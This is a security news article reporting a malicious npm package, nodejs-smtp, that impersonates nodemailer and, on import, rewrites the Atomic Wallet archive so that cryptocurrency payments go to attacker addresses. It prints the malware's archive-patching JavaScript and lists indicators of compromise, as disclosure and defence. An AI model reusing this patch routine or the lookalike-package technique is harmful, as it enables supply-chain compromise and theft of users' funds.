Crypto Heist via npm – Fake Nodemailer Package Exploits 3.9M Weekly Downloads
The threat, uncovered by Socket’s Threat Research Team, leverages a malicious package named nodejs-smtp, which impersonates the legitimate and widely adopted email library nodemailer.
With approximately 3.9 million weekly downloads, Nodemailer is a staple for Node.js developers seeking SMTP functionality.
The malicious package boasting a nearly identical README, tagline, and API surface uses Electron tooling to infiltrate desktop wallets such as Atomic Wallet and Exodus.
On import, nodejs-smtp unpacks the application’s app.asar archive, overwrites a core vendor bundle with threat actor code, repackages the archive, and deletes its temporary workspace, leaving no obvious trace.
Under the hood, the patch routine executes as follows:
javascriptconst resDir = path.join(os.homedir(), 'AppData', 'Local', 'Programs', 'atomic', 'resources');
const asarIn = path.join(resDir, 'app.asar');
const workDir = path.join(resDir, 'output');
await asar.extractAll(asarIn, workDir);
await fs.copyFile(path.join(__dirname, 'a.js'),
path.join(workDir, 'dist', 'electron', 'vendors.64b69c3b00e2a7914733.js'));
await asar.createPackage(workDir, asarIn);
await fs.rm(workDir, { recursive: true, force: true });
This import-time execution sidesteps typical developer scrutiny, since nodejs-smtp still functions as an SMTP client and passes existing application tests.
Once the wallet application loads the tampered archive, the malicious payload (a.js) intercepts outgoing transactions.
nodejs-smtp (top image) as known malware. The package copies the nodemailer (bottom image) tagline, page styling, and README, impersonating the legitimate project to evade casual inspection and mislead developers.It validates the user’s password and then programmatically replaces the intended recipient address with one controlled by the attacker. A mapping based on coin tickers ensures support for multiple currencies:
17CNLs7rHnnBsmsCWoTq7EakGZKEp5wpdy0x26Ce898b746910ccB21F4C6316A5e85BCEa39e24TShimPsmriHr2GVL7ktVWofMBWCKU5aV8arh3UuQvbnBXSSXhSp3KEb98YhnU2JnXXhK47iMzKY8KfqgawsT3Xm4cBoRZYx6PQpCae3978GFHxSVWith the wallet UI appearing normal and no additional prompts, victims continue to send funds that are unknowingly diverted into the attacker’s wallets.
Although the malicious npm alias nikotimon (registration email: darkhorse.tech322@gmail.com) has only accumulated a small number of transactions so far, the campaign’s modular design and multi-chain support suggest a scalable threat.
The payload persists until users reinstall the wallet from official sources. To combat such sophisticated supply chain attacks, organizations should adopt real-time package scanning and enforce security policies at both development and CI/CD stages.
Socket’s suite of defenses, including its GitHub App, CLI, and browser extension, flags side-effectful imports, filesystem writes, and archive manipulations before they can infiltrate production code.
Code assistants and AI-driven development tools must also incorporate stricter validation of suggested dependencies to prevent the introduction of lookalike packages.
As JavaScript package ecosystems continue to grow, defenders must remain vigilant against increasingly subtle tactics that turn benign utilities into potent attack vectors.
nikotimondarkhorse.tech322@gmail[.]com17CNLs7rHnnBsmsCWoTq7EakGZKEp5wpdy0x26Ce898b746910ccB21F4C6316A5e85BCEa39e24TShimPsmriHr2GVL7ktVWofMBWCKU5aV8arh3UuQvbnBXSSXhSp3KEb98YhnU2JnXXhK47iMzKY8KfqgawsT3Xm4cBoRZYx6PQpCae3978GFHxSVFind this Story Interesting! Follow us on Google News , LinkedIn and X to Get More Instant Updates
The post Crypto Heist via npm – Fake Nodemailer Package Exploits 3.9M Weekly Downloads appeared first on Cyber Security News.
The animated short above, The Dot and the Line, directed by the great Chuck Jones…
"Hello there!" - Star Wars games are on sale as part of May the 4th…
The way cyberattacks are launched has fundamentally changed. Threat actors are no longer spending months…
The FreeBSD Project has released a critical security advisory addressing a severe flaw in its…
A new wave of cyberattacks is targeting employees through a combination of inbox flooding and…
ELKHART COUNTY, IND. (WOWO) — A 42-year-old man is facing multiple serious felony charges in…
This website uses cookies.